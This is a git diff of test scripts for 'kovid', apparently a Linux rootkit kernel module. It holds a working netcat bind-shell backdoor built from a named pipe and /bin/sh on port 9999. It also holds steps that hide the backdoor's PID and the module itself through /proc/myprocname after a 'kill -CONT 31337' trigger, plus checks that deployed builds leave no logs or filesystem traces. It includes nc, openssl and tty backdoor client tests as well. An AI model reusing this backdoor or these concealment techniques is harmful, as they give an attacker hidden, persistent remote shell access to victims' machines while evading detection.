${KOVID_TEST_DEPENDS}) +# Add the main lit testsuites +add_lit_testsuites(KOVID ${CMAKE_CURRENT_SOURCE_DIR} DEPENDS ${KOVID_TEST_DEPENDS}) \ No newline at end of file diff --git a/test/complex/nc-pid-hide.sh b/test/complex/nc-pid-hide.sh new file mode 100755 index 0000000..8c006ba --- /dev/null +++ b/test/complex/nc-pid-hide.sh @@ -0,0 +1,23 @@ +#!/bin/sh + +PIPE="/tmp/backpipe" + +# Clean up any existing pipe +rm -f "$PIPE" + +# Create a named pipe +mkfifo "$PIPE" + +# Start the backdoor listener using /bin/nc +echo "Starting backdoor listener on port 9999..." +(cat "$PIPE" | /bin/sh 2>&1 | /bin/nc -l 9999 > "$PIPE") & + +NC_PID=$! + +echo "PID of nc is $NC_PID" +echo "Backdoor listener started." + +insmod kovid.ko +kill -CONT 31337 + +echo $NC_PID > /proc/myprocname diff --git a/test/complex/nc-pid-hide.test b/test/complex/nc-pid-hide.test new file mode 100644 index 0000000..9b55790 --- /dev/null +++ b/test/complex/nc-pid-hide.test @@ -0,0 +1,9 @@ +# REQUIRES: DEBUG_ONLY +# REQUIRES: CROSS_TESTS + +# RUN: FileCheck-18 --input-file=%kovid_testdir/nc-pid-hide.log %s + +# CHECK: Starting backdoor listener on port 9999 +# CHECK: PID of nc is +# CHECK: Backdoor listener started +# CHECK: sh: can't kill pid 31337: No such process diff --git a/test/complex/nc-pid-hide_host.sh b/test/complex/nc-pid-hide_host.sh new file mode 100755 index 0000000..2ccc50a --- /dev/null +++ b/test/complex/nc-pid-hide_host.sh @@ -0,0 +1,32 @@ +#!/bin/bash + +# Define the backdoor host and port +BACKDOOR_HOST="localhost" +BACKDOOR_PORT=9999 + +# Function to send a command and verify that a specific string is NOT in the response +send_command_and_verify_absence() { + local CMD=$1 + local ABSENT_STRING=$2 + + echo "Sending command: $CMD" + RESPONSE=$(echo "$CMD" | nc -w 5 "$BACKDOOR_HOST" "$BACKDOOR_PORT") + echo "Received response: $RESPONSE" + + if echo "$RESPONSE" | grep -q "$ABSENT_STRING"; then + echo "Command '$CMD' failed: '$ABSENT_STRING' found in the output." + exit 1 + else + echo "Command '$CMD' executed successfully: '$ABSENT_STRING' not found in the output." + fi +} + +# Wait briefly to ensure the backdoor is ready +sleep 5 + +echo "Connecting to backdoor at $BACKDOOR_HOST:$BACKDOOR_PORT..." + +# Send test command to check that /bin/nc is NOT present in ps -a +send_command_and_verify_absence "ps -a" "/bin/nc" + +echo "Backdoor test passed: /bin/nc is not present in the process list." diff --git a/test/complex/nc-pid-hide_host.test b/test/complex/nc-pid-hide_host.test new file mode 100644 index 0000000..962cb79 --- /dev/null +++ b/test/complex/nc-pid-hide_host.test @@ -0,0 +1,10 @@ +# REQUIRES: DEBUG_ONLY +# REQUIRES: CROSS_TESTS + +# RUN: FileCheck-18 --input-file=%kovid_testdir/nc-pid-hide_host.log %s + +# CHECK: Connecting to backdoor at localhost:9999... +# CHECK: Sending command: ps -a +# CHECK: Received response: PID USER COMMAND +# CHECK: 'ps -a' executed successfully: '/bin/nc' not found in the output. +# CHECK: Backdoor test passed: /bin/nc is not present in the process list. diff --git a/test/features/extract-base-address.sh b/test/cross/extract-base-address.sh similarity index 100% rename from test/features/extract-base-address.sh rename to test/cross/extract-base-address.sh diff --git a/test/features/extract-base-address.test b/test/cross/extract-base-address.test similarity index 80% rename from test/features/extract-base-address.test rename to test/cross/extract-base-address.test index b31a77c..b9b742e 100644 --- a/test/features/extract-base-address.test +++ b/test/cross/extract-base-address.test @@ -1,5 +1,7 @@ +# REQUIRES: CROSS_TESTS + # RUN: FileCheck-18 --input-file=%kovid_testdir/extract-base-address.log %s # CHECK: sh: can't kill pid 31337: No such process ## We expect an address like `55e648a65000` -# CHECK: 55{{.*}} +# CHECK: 5{{.*}} diff --git a/test/features/hide-pid.sh b/test/cross/hide-pid.sh similarity index 100% rename from test/features/hide-pid.sh rename to test/cross/hide-pid.sh diff --git a/test/features/hide-pid.test b/test/cross/hide-pid.test similarity index 87% rename from test/features/hide-pid.test rename to test/cross/hide-pid.test index 92bbe94..80c98f2 100644 --- a/test/features/hide-pid.test +++ b/test/cross/hide-pid.test @@ -1,3 +1,5 @@ +# REQUIRES: CROSS_TESTS + # RUN: FileCheck-18 --input-file=%kovid_testdir/hide-pid.log %s # CHECK: sh: can't kill pid 31337: No such process diff --git a/test/cross/hide-unhide-module.sh b/test/cross/hide-unhide-module.sh new file mode 100644 index 0000000..12ecd67 --- /dev/null +++ b/test/cross/hide-unhide-module.sh @@ -0,0 +1,19 @@ +#!/bin/sh + +# Insert the kovid module +insmod kovid.ko + +# Verify that the module is loaded +echo "Checking if kovid module is loaded:" +lsmod | grep kovid + +# The kovid trick +kill -CONT 31337 + +# Hide the module +echo "Hiding the kovid module:" +echo -h > /proc/myprocname + +# Verify that the module is hidden +echo "Checking if kovid module is hidden:" +lsmod | grep kovid diff --git a/test/cross/hide-unhide-module.test b/test/cross/hide-unhide-module.test new file mode 100644 index 0000000..a369bd9 --- /dev/null +++ b/test/cross/hide-unhide-module.test @@ -0,0 +1,12 @@ +# REQUIRES: DEBUG_ONLY +# REQUIRES: CROSS_TESTS + +# Test: Hide/Unhide Module Test in DEBUG Mode + +# RUN: FileCheck-18 --input-file=%kovid_testdir/hide-unhide-module.log %s + +# CHECK: Checking if kovid module is loaded: +# CHECK: kovid +# CHECK: Hiding the kovid module: +# CHECK: Checking if kovid module is hidden: +# CHECK-NOT: kovid diff --git a/test/cross/no-kovid-found.sh b/test/cross/no-kovid-found.sh new file mode 100755 index 0000000..d728e25 --- /dev/null +++ b/test/cross/no-kovid-found.sh @@ -0,0 +1,10 @@ +#!/bin/sh + +# Insert the kovid module +insmod kovid.ko 2> /dev/null + +# Search for 'kovid' in critical system directories +find /sys /proc /etc /var -name 'kovid' + +# Attempt to remove the kovid module +rmmod kovid diff --git a/test/cross/no-kovid-found.test b/test/cross/no-kovid-found.test new file mode 100644 index 0000000..469f03d --- /dev/null +++ b/test/cross/no-kovid-found.test @@ -0,0 +1,7 @@ +# REQUIRES: DEPLOY_ONLY +# REQUIRES: CROSS_TESTS + +# RUN: FileCheck-18 --input-file=%kovid_testdir/no-kovid-found.log %s + +# CHECK-NOT: kovid +# CHECK: rmmod: can't unload module 'kovid': No such file or directory diff --git a/test/cross/no-kovid-logs-in-deploy.sh b/test/cross/no-kovid-logs-in-deploy.sh new file mode 100755 index 0000000..bf4f957 --- /dev/null +++ b/test/cross/no-kovid-logs-in-deploy.sh @@ -0,0 +1,5 @@ +#!/bin/sh + +insmod kovid.ko +dmesg +rmmod kovid.ko diff --git a/test/cross/no-kovid-logs-in-deploy.test b/test/cross/no-kovid-logs-in-deploy.test new file mode 100644 index 0000000..3398dc0 --- /dev/null +++ b/test/cross/no-kovid-logs-in-deploy.test @@ -0,0 +1,7 @@ +# REQUIRES: DEPLOY_ONLY +# REQUIRES: CROSS_TESTS + +# RUN: FileCheck-18 --input-file=%kovid_testdir/no-kovid-logs-in-deploy.log %s + +# CHECK-NOT: kv +# CHECK: rmmod: can't unload module 'kovid': No such file or directory diff --git a/test/lit.cfg.py b/test/lit.cfg.py index ea456ab..571f6f2 100644 --- a/test/lit.cfg.py +++ b/test/lit.cfg.py @@ -49,3 +49,14 @@ config.substitutions.append(('%FileCheck-18', filecheck_path)) config.substitutions.append(('%not-18', not_path)) config.substitutions.append(("%kovid_testdir", config.kovid_obj_root)) + +if config.deploy_tests == '1': + config.available_features.add('DEPLOY_ONLY') +else: + config.available_features.add('DEBUG_ONLY') + +if config.cross_tests == 'ON': + config.available_features.add('CROSS_TESTS') + +if config.native_tests == 'ON': + config.available_features.add('NATIVE_TESTS') diff --git a/test/lit.site.cfg.py.in b/test/lit.site.cfg.py.in index 092aa86..70170cc 100644 --- a/test/lit.site.cfg.py.in +++ b/test/lit.site.cfg.py.in @@ -1,6 +1,9 @@ @LIT_SITE_CFG_IN_HEADER@ config.kovid_obj_root= "@CMAKE_BINARY_DIR@/" +config.deploy_tests= "@DEPLOY@" +config.cross_tests= "@CROSS_TESTS@" +config.native_tests= "@NATIVE_TESTS@" import lit.llvm lit.llvm.initialize(lit_config, config) diff --git a/test/native/hide-unhide-module.test b/test/native/hide-unhide-module.test new file mode 100644 index 0000000..59ed72e --- /dev/null +++ b/test/native/hide-unhide-module.test @@ -0,0 +1,16 @@ +# REQUIRES: 0 +# REQUIRES: DEBUG_ONLY +# REQUIRES: NATIVE_TESTS + +# RUN: bash %s > %t.log +# RUN: FileCheck-18 --input-file=%t.log %s + +sleep 10 +sudo insmod ../../../build/kovid.ko +lsmod | grep kovid +echo -h > /proc/myprocname +lsmod | grep kovid +sudo rmmod kovid + +# CHECK: kovid +# CHECK-NOT: kovid diff --git a/test/native/nc-backdoor-echo-s.test b/test/native/nc-backdoor-echo-s.test new file mode 100644 index 0000000..d983f4e --- /dev/null +++ b/test/native/nc-backdoor-echo-s.test @@ -0,0 +1,25 @@ +# REQUIRES: 0 +# REQUIRES: DEBUG_ONLY +# REQUIRES: NATIVE_TESTS + +# RUN: bash %s > %t.log +# RUN: FileCheck-18 --input-file=%t.log %s + +sudo dmesg -c +sleep 10 +sudo insmod ../../../build/kovid.ko +sudo timeout 10 ../../../scripts/bdclient.sh nc localhost 9999 +echo -s > /proc/myprocname +sudo rmmod kovid +sudo dmesg + +# CHECK: kv: using kprobe for kallsyms_lookup_name +# CHECK: Waiting for event +# CHECK: loaded +# CHECK: Got event +# CHECK: hide [{{.*}}] {{.*}} +# CHECK: hide [{{.*}}] {{.*}} +# CHECK: BD : dash +# CHECK: BD : bash +# CHECK: Got event +# CHECK: unloaded diff --git a/test/native/nc-backdoor.test b/test/native/nc-backdoor.test new file mode 100644 index 0000000..0f27278 --- /dev/null +++ b/test/native/nc-backdoor.test @@ -0,0 +1,21 @@ +# REQUIRES: DEBUG_ONLY +# REQUIRES: NATIVE_TESTS + +# RUN: bash %s > %t.log +# RUN: FileCheck-18 --input-file=%t.log %s + +sudo dmesg -c +sleep 10 +sudo insmod ../../../build/kovid.ko +sudo timeout 10 ../../../scripts/bdclient.sh nc localhost 9999 +sudo rmmod kovid +sudo dmesg + +# CHECK: kv: using kprobe for kallsyms_lookup_name +# CHECK: Waiting for event +# CHECK: loaded +# CHECK: Got event +# CHECK: hide [{{.*}}] {{.*}} +# CHECK: hide [{{.*}}] {{.*}} +# CHECK: Got event +# CHECK: unloaded diff --git a/test/native/openssl-backdoor.test b/test/native/openssl-backdoor.test new file mode 100644 index 0000000..5ab43bd --- /dev/null +++ b/test/native/openssl-backdoor.test @@ -0,0 +1,15 @@ +# REQUIRES: 0 +# REQUIRES: DEBUG_ONLY +# REQUIRES: NATIVE_TESTS + +# RUN: bash %s > %t.log +# RUN: FileCheck-18 --input-file=%t.log %s + +sudo insmod ../../../build/kovid.ko +sudo timeout 10 ../../../scripts/bdclient.sh openssl localhost 9999 +sudo rmmod kovid + +# CHECK: ACCEPT +# CHECK: DONE +# CHECK: shutting down SSL +# CHECK: CONNECTION CLOSED diff --git a/test/native/simple-insmod-lkm.test b/test/native/simple-insmod-lkm.test new file mode 100644 index 0000000..38278b7 --- /dev/null +++ b/test/native/simple-insmod-lkm.test @@ -0,0 +1,18 @@ +# REQUIRES: 0 +# REQUIRES: DEBUG_ONLY +# REQUIRES: NATIVE_TESTS + +# RUN: bash %s > %t.log +# RUN: FileCheck-18 --input-file=%t.log %s + +sudo dmesg -c +sleep 10 +sudo insmod ../../../build/kovid.ko +sudo rmmod kovid +sudo dmesg + +# CHECK: kv: using kprobe for kallsyms_lookup_name +# CHECK: Waiting for event +# CHECK: loaded +# CHECK: Got event +# CHECK: unloaded diff --git a/test/native/tty-backdoor.test b/test/native/tty-backdoor.test new file mode 100644 index 0000000..b404346 --- /dev/null +++ b/test/native/tty-backdoor.test @@ -0,0 +1,22 @@ +# REQUIRES: 0 +# REQUIRES: DEBUG_ONLY +# REQUIRES: NATIVE_TESTS + +# RUN: bash %s > %t.log +# RUN: FileCheck-18 --input-file=%t.log %s + +sudo dmesg -c +sleep 20 +sudo insmod ../../../build/kovid.ko +sudo timeout 10 ../../../scripts/bdclient.sh tty localhost 9999 +sudo rmmod kovid +sudo dmesg + +# CHECK: Got event +# CHECK: hide {{.*}} tail : {{.*}} +# CHECK: hide {{.*}} socat : {{.*}} +# CHECK: Waiting for event +# CHECK: Got event +# CHECK: Waiting for event +# CHECK: unhide {{.*}} tail : {{.*}} +# CHECK: unhide {{.*}} socat : {{.*}}